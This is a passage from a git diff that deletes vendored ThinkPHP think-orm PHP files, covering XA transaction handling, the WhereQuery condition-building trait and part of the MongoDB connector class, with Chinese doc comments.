@param array $dbs 多个查询对象或者连接对象 - * @return mixed - * @throws PDOException - * @throws \Exception - * @throws \Throwable - */ - public function transactionXa($callback, array $dbs = []) - { - $xid = uniqid('xa'); - - if (empty($dbs)) { - $dbs[] = $this->getConnection(); - } - - foreach ($dbs as $key => $db) { - if ($db instanceof BaseQuery) { - $db = $db->getConnection(); - - $dbs[$key] = $db; - } - - $db->startTransXa($xid); - } - - try { - $result = null; - if (is_callable($callback)) { - $result = call_user_func_array($callback, [$this]); - } - - foreach ($dbs as $db) { - $db->prepareXa($xid); - } - - foreach ($dbs as $db) { - $db->commitXa($xid); - } - - return $result; - } catch (\Exception | \Throwable $e) { - foreach ($dbs as $db) { - $db->rollbackXa($xid); - } - throw $e; - } - } - - /** - * 执行数据库事务 - * @access public - * @param callable $callback 数据操作方法回调 - * @return mixed - */ - public function transaction(callable $callback) - { - return $this->connection->transaction($callback); - } - - /** - * 启动事务 - * @access public - * @return void - */ - public function startTrans(): void - { - $this->connection->startTrans(); - } - - /** - * 用于非自动提交状态下面的查询提交 - * @access public - * @return void - * @throws PDOException - */ - public function commit(): void - { - $this->connection->commit(); - } - - /** - * 事务回滚 - * @access public - * @return void - * @throws PDOException - */ - public function rollback(): void - { - $this->connection->rollback(); - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/WhereQuery.php b/vendor/topthink/think-orm/src/db/concern/WhereQuery.php deleted file mode 100644 index a95c697..0000000 --- a/vendor/topthink/think-orm/src/db/concern/WhereQuery.php +++ /dev/null @@ -1,524 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use Closure; -use think\db\BaseQuery; -use think\db\Raw; - -trait WhereQuery -{ - /** - * 指定AND查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $op 查询表达式 - * @param mixed $condition 查询条件 - * @return $this - */ - public function where($field, $op = null, $condition = null) - { - if ($field instanceof $this) { - $this->parseQueryWhere($field); - return $this; - } elseif (true === $field || 1 === $field) { - $this->options['where']['AND'][] = true; - return $this; - } - - $param = func_get_args(); - array_shift($param); - return $this->parseWhereExp('AND', $field, $op, $condition, $param); - } - - /** - * 解析Query对象查询条件 - * @access public - * @param BaseQuery $query 查询对象 - * @return void - */ - protected function parseQueryWhere(BaseQuery $query): void - { - $this->options['where'] = $query->getOptions('where'); - - if ($query->getOptions('via')) { - $via = $query->getOptions('via'); - foreach ($this->options['where'] as $logic => &$where) { - foreach ($where as $key => &$val) { - if (is_array($val) && !strpos($val[0], '.')) { - $val[0] = $via . '.' . $val[0]; - } - } - } - } - - $this->bind($query->getBind(false)); - } - - /** - * 指定OR查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $op 查询表达式 - * @param mixed $condition 查询条件 - * @return $this - */ - public function whereOr($field, $op = null, $condition = null) - { - $param = func_get_args(); - array_shift($param); - return $this->parseWhereExp('OR', $field, $op, $condition, $param); - } - - /** - * 指定XOR查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $op 查询表达式 - * @param mixed $condition 查询条件 - * @return $this - */ - public function whereXor($field, $op = null, $condition = null) - { - $param = func_get_args(); - array_shift($param); - return $this->parseWhereExp('XOR', $field, $op, $condition, $param); - } - - /** - * 指定Null查询条件 - * @access public - * @param mixed $field 查询字段 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereNull(string $field, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'NULL', null, [], true); - } - - /** - * 指定NotNull查询条件 - * @access public - * @param mixed $field 查询字段 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereNotNull(string $field, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'NOTNULL', null, [], true); - } - - /** - * 指定Exists查询条件 - * @access public - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereExists($condition, string $logic = 'AND') - { - if (is_string($condition)) { - $condition = new Raw($condition); - } - - $this->options['where'][strtoupper($logic)][] = ['', 'EXISTS', $condition]; - return $this; - } - - /** - * 指定NotExists查询条件 - * @access public - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereNotExists($condition, string $logic = 'AND') - { - if (is_string($condition)) { - $condition = new Raw($condition); - } - - $this->options['where'][strtoupper($logic)][] = ['', 'NOT EXISTS', $condition]; - return $this; - } - - /** - * 指定In查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereIn(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'IN', $condition, [], true); - } - - /** - * 指定NotIn查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereNotIn(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'NOT IN', $condition, [], true); - } - - /** - * 指定Like查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereLike(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'LIKE', $condition, [], true); - } - - /** - * 指定NotLike查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereNotLike(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'NOT LIKE', $condition, [], true); - } - - /** - * 指定Between查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereBetween(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'BETWEEN', $condition, [], true); - } - - /** - * 指定NotBetween查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereNotBetween(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'NOT BETWEEN', $condition, [], true); - } - - /** - * 指定FIND_IN_SET查询条件 - * @access public - * @param mixed $field 查询字段 - * @param mixed $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereFindInSet(string $field, $condition, string $logic = 'AND') - { - return $this->parseWhereExp($logic, $field, 'FIND IN SET', $condition, [], true); - } - - /** - * 比较两个字段 - * @access public - * @param string $field1 查询字段 - * @param string $operator 比较操作符 - * @param string $field2 比较字段 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereColumn(string $field1, string $operator, string $field2 = null, string $logic = 'AND') - { - if (is_null($field2)) { - $field2 = $operator; - $operator = '='; - } - - return $this->parseWhereExp($logic, $field1, 'COLUMN', [$operator, $field2], [], true); - } - - /** - * 设置软删除字段及条件 - * @access public - * @param string $field 查询字段 - * @param mixed $condition 查询条件 - * @return $this - */ - public function useSoftDelete(string $field, $condition = null) - { - if ($field) { - $this->options['soft_delete'] = [$field, $condition]; - } - - return $this; - } - - /** - * 指定Exp查询条件 - * @access public - * @param mixed $field 查询字段 - * @param string $where 查询条件 - * @param array $bind 参数绑定 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereExp(string $field, string $where, array $bind = [], string $logic = 'AND') - { - $this->options['where'][$logic][] = [$field, 'EXP', new Raw($where, $bind)]; - - return $this; - } - - /** - * 指定字段Raw查询 - * @access public - * @param string $field 查询字段表达式 - * @param mixed $op 查询表达式 - * @param string $condition 查询条件 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereFieldRaw(string $field, $op, $condition = null, string $logic = 'AND') - { - if (is_null($condition)) { - $condition = $op; - $op = '='; - } - - $this->options['where'][$logic][] = [new Raw($field), $op, $condition]; - return $this; - } - - /** - * 指定表达式查询条件 - * @access public - * @param string $where 查询条件 - * @param array $bind 参数绑定 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function whereRaw(string $where, array $bind = [], string $logic = 'AND') - { - $this->options['where'][$logic][] = new Raw($where, $bind); - - return $this; - } - - /** - * 指定表达式查询条件 OR - * @access public - * @param string $where 查询条件 - * @param array $bind 参数绑定 - * @return $this - */ - public function whereOrRaw(string $where, array $bind = []) - { - return $this->whereRaw($where, $bind, 'OR'); - } - - /** - * 分析查询表达式 - * @access protected - * @param string $logic 查询逻辑 and or xor - * @param mixed $field 查询字段 - * @param mixed $op 查询表达式 - * @param mixed $condition 查询条件 - * @param array $param 查询参数 - * @param bool $strict 严格模式 - * @return $this - */ - protected function parseWhereExp(string $logic, $field, $op, $condition, array $param = [], bool $strict = false) - { - $logic = strtoupper($logic); - - if (is_string($field) && !empty($this->options['via']) && false === strpos($field, '.')) { - $field = $this->options['via'] . '.' . $field; - } - - if ($field instanceof Raw) { - return $this->whereRaw($field, is_array($op) ? $op : [], $logic); - } elseif ($strict) { - // 使用严格模式查询 - if ('=' == $op) { - $where = $this->whereEq($field, $condition); - } else { - $where = [$field, $op, $condition, $logic]; - } - } elseif (is_array($field)) { - // 解析数组批量查询 - return $this->parseArrayWhereItems($field, $logic); - } elseif ($field instanceof Closure) { - $where = $field; - } elseif (is_string($field)) { - if (preg_match('/[,=\<\'\"\(\s]/', $field)) { - return $this->whereRaw($field, is_array($op) ? $op : [], $logic); - } elseif (is_string($op) && strtolower($op) == 'exp' && !is_null($condition)) { - $bind = isset($param[2]) && is_array($param[2]) ? $param[2] : []; - return $this->whereExp($field, $condition, $bind, $logic); - } - - $where = $this->parseWhereItem($logic, $field, $op, $condition, $param); - } - - if (!empty($where)) { - $this->options['where'][$logic][] = $where; - } - - return $this; - } - - /** - * 分析查询表达式 - * @access protected - * @param string $logic 查询逻辑 and or xor - * @param mixed $field 查询字段 - * @param mixed $op 查询表达式 - * @param mixed $condition 查询条件 - * @param array $param 查询参数 - * @return array - */ - protected function parseWhereItem(string $logic, $field, $op, $condition, array $param = []): array - { - if (is_array($op)) { - // 同一字段多条件查询 - array_unshift($param, $field); - $where = $param; - } elseif ($field && is_null($condition)) { - if (is_string($op) && in_array(strtoupper($op), ['NULL', 'NOTNULL', 'NOT NULL'], true)) { - // null查询 - $where = [$field, $op, '']; - } elseif ('=' === $op || is_null($op)) { - $where = [$field, 'NULL', '']; - } elseif ('<>' === $op) { - $where = [$field, 'NOTNULL', '']; - } else { - // 字段相等查询 - $where = $this->whereEq($field, $op); - } - } elseif (is_string($op) && in_array(strtoupper($op), ['EXISTS', 'NOT EXISTS', 'NOTEXISTS'], true)) { - $where = [$field, $op, is_string($condition) ? new Raw($condition) : $condition]; - } else { - $where = $field ? [$field, $op, $condition, $param[2] ?? null] : []; - } - - return $where; - } - - /** - * 相等查询的主键处理 - * @access protected - * @param string $field 字段名 - * @param mixed $value 字段值 - * @return array - */ - protected function whereEq(string $field, $value): array - { - if ($this->getPk() == $field) { - $this->options['key'] = $value; - } - - return [$field, '=', $value]; - } - - /** - * 数组批量查询 - * @access protected - * @param array $field 批量查询 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - protected function parseArrayWhereItems(array $field, string $logic) - { - if (key($field) !== 0) { - $where = []; - foreach ($field as $key => $val) { - if ($val instanceof Raw) { - $where[] = [$key, 'exp', $val]; - } else { - $where[] = is_null($val) ? [$key, 'NULL', ''] : [$key, is_array($val) ? 'IN' : '=', $val]; - } - } - } else { - // 数组批量查询 - $where = $field; - } - - if (!empty($where)) { - $this->options['where'][$logic] = isset($this->options['where'][$logic]) ? - array_merge($this->options['where'][$logic], $where) : $where; - } - - return $this; - } - - /** - * 去除某个查询条件 - * @access public - * @param string $field 查询字段 - * @param string $logic 查询逻辑 and or xor - * @return $this - */ - public function removeWhereField(string $field, string $logic = 'AND') - { - $logic = strtoupper($logic); - - if (isset($this->options['where'][$logic])) { - foreach ($this->options['where'][$logic] as $key => $val) { - if (is_array($val) && $val[0] == $field) { - unset($this->options['where'][$logic][$key]); - } - } - } - - return $this; - } - - /** - * 条件查询 - * @access public - * @param mixed $condition 满足条件(支持闭包) - * @param Closure|array $query 满足条件后执行的查询表达式(闭包或数组) - * @param Closure|array $otherwise 不满足条件后执行 - * @return $this - */ - public function when($condition, $query, $otherwise = null) - { - if ($condition instanceof Closure) { - $condition = $condition($this); - } - - if ($condition) { - $this->where($query); - } elseif ($otherwise) { - $this->where($otherwise); - } - - return $this; - } -} diff --git a/vendor/topthink/think-orm/src/db/connector/Mongo.php b/vendor/topthink/think-orm/src/db/connector/Mongo.php deleted file mode 100644 index ec39939..0000000 --- a/vendor/topthink/think-orm/src/db/connector/Mongo.php +++ /dev/null @@ -1,1167 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\connector; - -use Closure; -use MongoDB\BSON\ObjectID; -use MongoDB\Driver\BulkWrite; -use MongoDB\Driver\Command; -use MongoDB\Driver\Cursor; -use MongoDB\Driver\Exception\AuthenticationException; -use MongoDB\Driver\Exception\BulkWriteException; -use MongoDB\Driver\Exception\ConnectionException; -use MongoDB\Driver\Exception\InvalidArgumentException; -use MongoDB\Driver\Exception\RuntimeException; -use MongoDB\Driver\Manager; -use MongoDB\Driver\Query as MongoQuery; -use MongoDB\Driver\ReadPreference; -use MongoDB\Driver\WriteConcern; -use think\db\BaseQuery; -use think\db\builder\Mongo as Builder; -use think\db\Connection; -use think\db\exception\DbException as Exception; -use think\db\Mongo as Query; - -/** - * Mongo数据库驱动 - */ -class Mongo extends Connection -{ - - // 查询数据类型 - protected $dbName = ''; - protected $typeMap = 'array'; - protected $mongo; // MongoDb Object - protected $cursor; // MongoCursor Object - protected $session_uuid; // sessions会话列表当前会话数组key 随机生成 - protected $sessions = []; // 会话列表 - - /** @var Builder */ - protected $builder; - - // 数据库连接参数配置 - protected $config = [ - // 数据库类型 - 'type' => '', - // 服务器地址 - 'hostname' => '', - // 数据库名 - 'database' => '', - // 是否是复制集 - 'is_replica_set' => false, - // 用户名 - 'username' => '', - // 密码 - 'password' => '', - // 端口 - 'hostport' => '', - // 连接dsn - 'dsn' => '', - // 数据库连接参数 - 'params' => [], - // 数据库编码默认采用utf8 - 'charset' => 'utf8', - // 主键名 - 'pk' => '_id', - // 主键类型 - 'pk_type' => 'ObjectID', - // 数据库表前缀 - 'prefix' => '', - // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) - 'deploy' => 0, - // 数据库读写是否分离 主从式有效 - 'rw_separate' => false, - // 读写分离后 主服务器数量 - 'master_num' => 1, - // 指定从服务器序号 - 'slave_no' => '', - // 是否严格检查字段是否存在 - 'fields_strict' => true, - // 开启字段缓存 - 'fields_cache' => false, - // 监听SQL - 'trigger_sql' => true, - // 自动写入时间戳字段 - 'auto_timestamp' => false, - // 时间字段取出后的默认时间格式 - 'datetime_format' => 'Y-m-d H:i:s', - // 是否_id转换为id - 'pk_convert_id' => false, - // typeMap - 'type_map' => ['root' => 'array', 'document' => 'array'], - ]; - - /** - * 获取当前连接器类对应的Query类 - * @access public - * @return string - */ - public function getQueryClass(): string - { - return Query::class; - } - - /** - * 获取当前的builder实例对象 - * @access public - * @return Builder - */ - public function getBuilder() - { - return $this->builder; - } - - /** - * 获取当前连接器类对应的Builder类 - * @access public - * @return string - */ - public function getBuilderClass(): string - { - return Builder::class; - } - - /** - * 连接数据库方法 - * @access public - * @param array $config 连接参数 - * @param integer $linkNum 连接序号 - * @return Manager - * @throws InvalidArgumentException - * @throws RuntimeException - */ - public function connect(array $config = [], $linkNum = 0) - { - if (!isset($this->links[$linkNum])) { - if (empty($config)) { - $config = $this->config; - } else { - $config = array_merge($this->config, $config); - } - - $this->dbName = $config['database']; - $this->typeMap = $config['type_map']; - - if ($config['pk_convert_id'] && '_id' == $config['pk']) { - $this->config['pk'] = 'id'; - } - - if (empty($config['dsn'])) { - $config['dsn'] = 'mongodb://' . ($config['username'] ? "{$config['username']}" : '') . ($config['password'] ? ":{$config['password']}@" : '') . $config['hostname'] . ($config['hostport'] ? ":{$config['hostport']}" : ''); - } - - $startTime = microtime(true); - - $this->links[$linkNum] = new Manager($config['dsn'], $config['params']); - - if (!empty($config['trigger_sql'])) { - // 记录数据库连接信息 - $this->trigger('CONNECT:[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $config['dsn']); - } - - } - - return $this->links[$linkNum]; - } - - /** - * 获取Mongo Manager对象 - * @access public - * @return Manager|null - */ - public function getMongo() - { - return $this->mongo ?: null; - } - - /** - * 设置/获取当前操作的database - * @access public - * @param string $db db - * @return string - */ - public function db(string $db = null) - { - if (is_null($db)) { - return $this->dbName; - } else { - $this->dbName = $db; - } - } - - /** - * 执行查询但只返回Cursor对象 - * @access public - * @param Query $query 查询对象 - * @return Cursor - */ - public function cursor($query) - { - // 分析查询表达式 - $options = $query->parseOptions(); - - // 生成MongoQuery对象 - $mongoQuery = $this->builder->select($query); - - $master = $query->getOptions('master') ? true : false; - - // 执行查询操作 - return $this->getCursor($query, $mongoQuery, $master); - } - - /** - * 执行查询并返回Cursor对象 - * @access public - * @param BaseQuery $query 查询对象 - * @param MongoQuery|Closure $mongoQuery Mongo查询对象 - * @param bool $master 是否主库操作 - * @return Cursor - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - public function getCursor(BaseQuery $query, $mongoQuery, bool $master = false): Cursor - { - $this->initConnect($master); - $this->db->updateQueryTimes(); - - $options = $query->getOptions(); - $namespace = $options['table']; - - if (false === strpos($namespace, '.')) { - $namespace = $this->dbName . '.' . $namespace; - } - - if (!empty($this->queryStr)) { - // 记录执行指令 - $this->queryStr = 'db' . strstr($namespace, '.') . '.' . $this->queryStr; - } - - if ($mongoQuery instanceof Closure) { - $mongoQuery = $mongoQuery($query); - } - - $readPreference = $options['readPreference'] ?? null; - $this->queryStartTime = microtime(true); - - if ($session = $this->getSession()) { - $this->cursor = $this->mongo->executeQuery($namespace, $query, [ - 'readPreference' => is_null($readPreference) ? new ReadPreference(ReadPreference::RP_PRIMARY) : $readPreference, - 'session' => $session, - ]); - } else { - $this->cursor = $this->mongo->executeQuery($namespace, $mongoQuery, $readPreference); - } - - // SQL监控 - if (!empty($this->config['trigger_sql'])) { - $this->trigger('', $master); - } - - return $this->cursor; - } - - /** - * 执行查询 返回数据集 - * @access public - * @param MongoQuery $query 查询对象 - * @return mixed - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - public function query(MongoQuery $query) - { - return $this->mongoQuery($this->newQuery(), $query); - } - - /** - * 执行语句 - * @access public - * @param BulkWrite $bulk - * @return int - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - * @throws BulkWriteException - */ - public function execute(BulkWrite $bulk) - { - return $this->mongoExecute($this->newQuery(), $bulk); - } - - /** - * 执行查询 - * @access protected - * @param BaseQuery $query 查询对象 - * @param MongoQuery|Closure $mongoQuery Mongo查询对象 - * @return array - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - protected function mongoQuery(BaseQuery $query, $mongoQuery): array - { - $options = $query->parseOptions(); - - if ($query->getOptions('cache')) { - // 检查查询缓存 - $cacheItem = $this->parseCache($query, $query->getOptions('cache')); - $key = $cacheItem->getKey(); - - if ($this->cache->has($key)) { - return $this->cache->get($key); - } - } - - if ($mongoQuery instanceof Closure) { - $mongoQuery = $mongoQuery($query); - } - - $master = $query->getOptions('master') ? true : false; - $this->getCursor($query, $mongoQuery, $master); - - $resultSet = $this->getResult($options['typeMap']); - - if (isset($cacheItem) && $resultSet) { - // 缓存数据集 - $cacheItem->set($resultSet); - $this->cacheData($cacheItem); - } - - return $resultSet; - } - - /** - * 执行写操作 - * @access protected - * @param BaseQuery $query - * @param BulkWrite $bulk - * - * @return WriteResult - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - * @throws BulkWriteException - */ - protected function mongoExecute(BaseQuery $query, BulkWrite $bulk) - { - $this->initConnect(true); - $this->db->updateQueryTimes(); - - $options = $query->getOptions(); - - $namespace = $options['table']; - if (false === strpos($namespace, '.')) { - $namespace = $this->dbName . '.' . $namespace; - } - - if (!empty($this->queryStr)) { - // 记录执行指令 - $this->queryStr = 'db' . strstr($namespace, '.') . '.' . $this->queryStr; - } - - $writeConcern = $options['writeConcern'] ?? null; - $this->queryStartTime = microtime(true); - - if ($session = $this->getSession()) { - $writeResult = $this->mongo->executeBulkWrite($namespace, $bulk, [ - 'session' => $session, - 'writeConcern' => is_null($writeConcern) ? new WriteConcern(1) : $writeConcern, - ]); - } else { - $writeResult = $this->mongo->executeBulkWrite($namespace, $bulk, $writeConcern); - } - - // SQL监控 - if (!empty($this->config['trigger_sql'])) { - $this->trigger(); - } - - $this->numRows = $writeResult->getMatchedCount(); - - if ($query->getOptions('cache')) { - // 清理缓存数据 - $cacheItem = $this->parseCache($query, $query->getOptions('cache')); - $key = $cacheItem->getKey(); - $tag = $cacheItem->getTag(); - - if (isset($key) && $this->cache->has($key)) { - $this->cache->delete($key); - } elseif (!empty($tag) && method_exists($this->cache, 'tag')) { - $this->cache->tag($tag)->clear(); - } - } - - return $writeResult; - } - - /** - * 执行指令 - * @access public - * @param Command $command 指令 - * @param string $dbName 当前数据库名 - * @param ReadPreference $readPreference readPreference - * @param string|array $typeMap 指定返回的typeMap - * @param bool $master 是否主库操作 - * @return array - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - public function command(Command $command, string $dbName = '', ReadPreference $readPreference = null, $typeMap = null, bool $master = false): array - { - $this->initConnect($master); - $this->db->updateQueryTimes(); - - $this->queryStartTime = microtime(true); - - $dbName = $dbName ?: $this->dbName; - - if (!empty($this->queryStr)) { - $this->queryStr = 'db.' . $this->queryStr; - } - - if ($session = $this->getSession()) { - $this->cursor = $this->mongo->executeCommand($dbName, $command, [ - 'readPreference' => is_null($readPreference) ? new ReadPreference(ReadPreference::RP_PRIMARY) : $readPreference, - 'session' => $session, - ]); - } else { - $this->cursor = $this->mongo->executeCommand($dbName, $command, $readPreference); - } - - // SQL监控 - if (!empty($this->config['trigger_sql'])) { - $this->trigger('', $master); - } - - return $this->getResult($typeMap); - } - - /** - * 获得数据集 - * @access protected - * @param string|array $typeMap 指定返回的typeMap - * @return mixed - */ - protected function getResult($typeMap = null): array - { - // 设置结果数据类型 - if (is_null($typeMap)) { - $typeMap = $this->typeMap; - } - - $typeMap = is_string($typeMap) ? ['root' => $typeMap] : $typeMap; - - $this->cursor->setTypeMap($typeMap); - - // 获取数据集 - $result = $this->cursor->toArray(); - - if ($this->getConfig('pk_convert_id')) { - // 转换ObjectID 字段 - foreach ($result as &$data) { - $this->convertObjectID($data); - } - } - - $this->numRows = count($result); - - return $result; - } - - /** - * ObjectID处理 - * @access protected - * @param array $data 数据 - * @return void - */ - protected function convertObjectID(array &$data): void - { - if (isset($data['_id']) && is_object($data['_id'])) { - $data['id'] = $data['_id']->__toString(); - unset($data['_id']); - } - } - - /** - * 数据库日志记录(仅供参考) - * @access public - * @param string $type 类型 - * @param mixed $data 数据 - * @param array $options 参数 - * @return void - */ - public function mongoLog(string $type, $data, array $options = []) - { - if (!$this->config['trigger_sql']) { - return; - } - - if (is_array($data)) { - array_walk_recursive($data, function (&$value) { - if ($value instanceof ObjectID) { - $value = $value->__toString(); - } - }); - } - - switch (strtolower($type)) { - case 'aggregate': - $this->queryStr = 'runCommand(' . ($data ? json_encode($data) : '') . ');'; - break; - case 'find': - $this->queryStr = $type . '(' . ($data ? json_encode($data) : '') . ')'; - - if (isset($options['sort'])) { - $this->queryStr .= '.sort(' . json_encode($options['sort']) . ')'; - } - - if (isset($options['skip'])) { - $this->queryStr .= '.skip(' . $options['skip'] . ')'; - } - - if (isset($options['limit'])) { - $this->queryStr .= '.limit(' . $options['limit'] . ')'; - } - - $this->queryStr .= ';'; - break; - case 'insert': - case 'remove': - $this->queryStr = $type . '(' . ($data ? json_encode($data) : '') . ');'; - break; - case 'update': - $this->queryStr = $type . '(' . json_encode($options) . ',' . json_encode($data) . ');'; - break; - case 'cmd': - $this->queryStr = $data . '(' . json_encode($options) . ');'; - break; - } - - $this->options = $options; - } - - /** - * 获取最近执行的指令 - * @access public - * @return string - */ - public function getLastSql(): string - { - return $this->queryStr; - } - - /** - * 关闭数据库 - * @access public - */ - public function close() - { - $this->mongo = null; - $this->cursor = null; - $this->linkRead = null; - $this->linkWrite = null; - $this->links = []; - } - - /** - * 初始化数据库连接 - * @access protected - * @param boolean $master 是否主服务器 - * @return void - */ - protected function initConnect(bool $master = true): void - { - if (!empty($this->config['deploy'])) { - // 采用分布式数据库 - if ($master) { - if (!$this->linkWrite) { - $this->linkWrite = $this->multiConnect(true); - } - - $this->mongo = $this->linkWrite; - } else { - if (!$this->linkRead) { - $this->linkRead = $this->multiConnect(false); - } - - $this->mongo = $this->linkRead; - } - } elseif (!$this->mongo) { - // 默认单数据库 - $this->mongo = $this->connect(); - } - } - - /** - * 连接分布式服务器 - * @access protected - * @param boolean $master 主服务器 - * @return Manager - */ - protected function multiConnect(bool $master = false): Manager - { - $config = []; - // 分布式数据库配置解析 - foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn'] as $name) { - $config[$name] = is_string($this->config[$name]) ? explode(',', $this->config[$name]) : $this->config[$name]; - } - - // 主服务器序号 - $m = floor(mt_rand(0, $this->config['master_num'] - 1)); - - if ($this->config['rw_separate']) { - // 主从式采用读写分离 - if ($master) // 主服务器写入 - { - if ($this->config['is_replica_set']) { - return $this->replicaSetConnect(); - } else { - $r = $m; - } - } elseif (is_numeric($this->config['slave_no'])) { - // 指定服务器读 - $r = $this->config['slave_no']; - } else { - // 读操作连接从服务器 每次随机连接的数据库 - $r = floor(mt_rand($this->config['master_num'], count($config['hostname']) - 1)); - } - } else { - // 读写操作不区分服务器 每次随机连接的数据库 - $r = floor(mt_rand(0, count($config['hostname']) - 1)); - } - - $dbConfig = []; - - foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn'] as $name) { - $dbConfig[$name] = $config[$name][$r] ?? $config[$name][0]; - } - - return $this->connect($dbConfig, $r); - } - - /** - * 创建基于复制集的连接 - * @return Manager - */ - public function replicaSetConnect(): Manager - { - $this->dbName = $this->config['database']; - $this->typeMap = $this->config['type_map']; - - $startTime = microtime(true); - - $this->config['params']['replicaSet'] = $this->config['database']; - - $manager = new Manager($this->buildUrl(), $this->config['params']); - - // 记录数据库连接信息 - if (!empty($config['trigger_sql'])) { - $this->trigger('CONNECT:ReplicaSet[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $this->config['dsn']); - } - - return $manager; - } - - /** - * 根据配置信息 生成适用于连接复制集的 URL - * @return string - */ - private function buildUrl(): string - { - $url = 'mongodb://' . ($this->config['username'] ? "{$this->config['username']}" : '') . ($this->config['password'] ? ":{$this->config['password']}@" : ''); - - $hostList = is_string($this->config['hostname']) ? explode(',', $this->config['hostname']) : $this->config['hostname']; - $portList = is_string($this->config['hostport']) ? explode(',', $this->config['hostport']) : $this->config['hostport']; - - for ($i = 0; $i < count($hostList); $i++) { - $url = $url . $hostList[$i] . ':' . $portList[0] . ','; - } - - return rtrim($url, ",") . '/'; - } - - /** - * 插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param boolean $getLastInsID 返回自增主键 - * @return mixed - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - * @throws BulkWriteException - */ - public function insert(BaseQuery $query, bool $getLastInsID = false) - { - // 分析查询表达式 - $options = $query->parseOptions(); - - if (empty($options['data'])) { - throw new Exception('miss data to insert'); - } - - // 生成bulk对象 - $bulk = $this->builder->insert($query); - - $writeResult = $this->mongoExecute($query, $bulk); - $result = $writeResult->getInsertedCount(); - - if ($result) { - $data = $options['data']; - $lastInsId = $this->getLastInsID($query); - - if ($lastInsId) { - $pk = $query->getPk(); - $data[$pk] = $lastInsId; - } - - $query->setOption('data', $data); - - $this->db->trigger('after_insert', $query); - - if ($getLastInsID) { - return $lastInsId; - } - } - - return $result; - } - - /** - * 获取最近插入的ID - * @access public - * @param BaseQuery $query 查询对象 - * @return mixed - */ - public function getLastInsID(BaseQuery $query) - { - $id = $this->builder->getLastInsID(); - - if (is_array($id)) { - array_walk($id, function (&$item, $key) { - if ($item instanceof ObjectID) { - $item = $item->__toString(); - } - }); - } elseif ($id instanceof ObjectID) { - $id = $id->__toString(); - } - - return $id; - } - - /** - * 批量插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param array $dataSet 数据集 - * @return integer - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - * @throws BulkWriteException - */ - public function insertAll(BaseQuery $query, array $dataSet = []): int - { - // 分析查询表达式 - $query->parseOptions(); - - if (!is_array(reset($dataSet))) { - return 0; - } - - // 生成bulkWrite对象 - $bulk = $this->builder->insertAll($query, $dataSet); - - $writeResult = $this->mongoExecute($query, $bulk); - - return $writeResult->getInsertedCount(); - } - - /** - * 更新记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return int - * @throws Exception - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - * @throws BulkWriteException - */ - public function update(BaseQuery $query): int - { - $query->parseOptions(); - - // 生成bulkWrite对象 - $bulk = $this->builder->update($query); - - $writeResult = $this->mongoExecute($query, $bulk); - - $result = $writeResult->getModifiedCount(); - - if ($result) { - $this->db->trigger('after_update', $query); - } - - return $result; - } - - /** - * 删除记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return int - * @throws 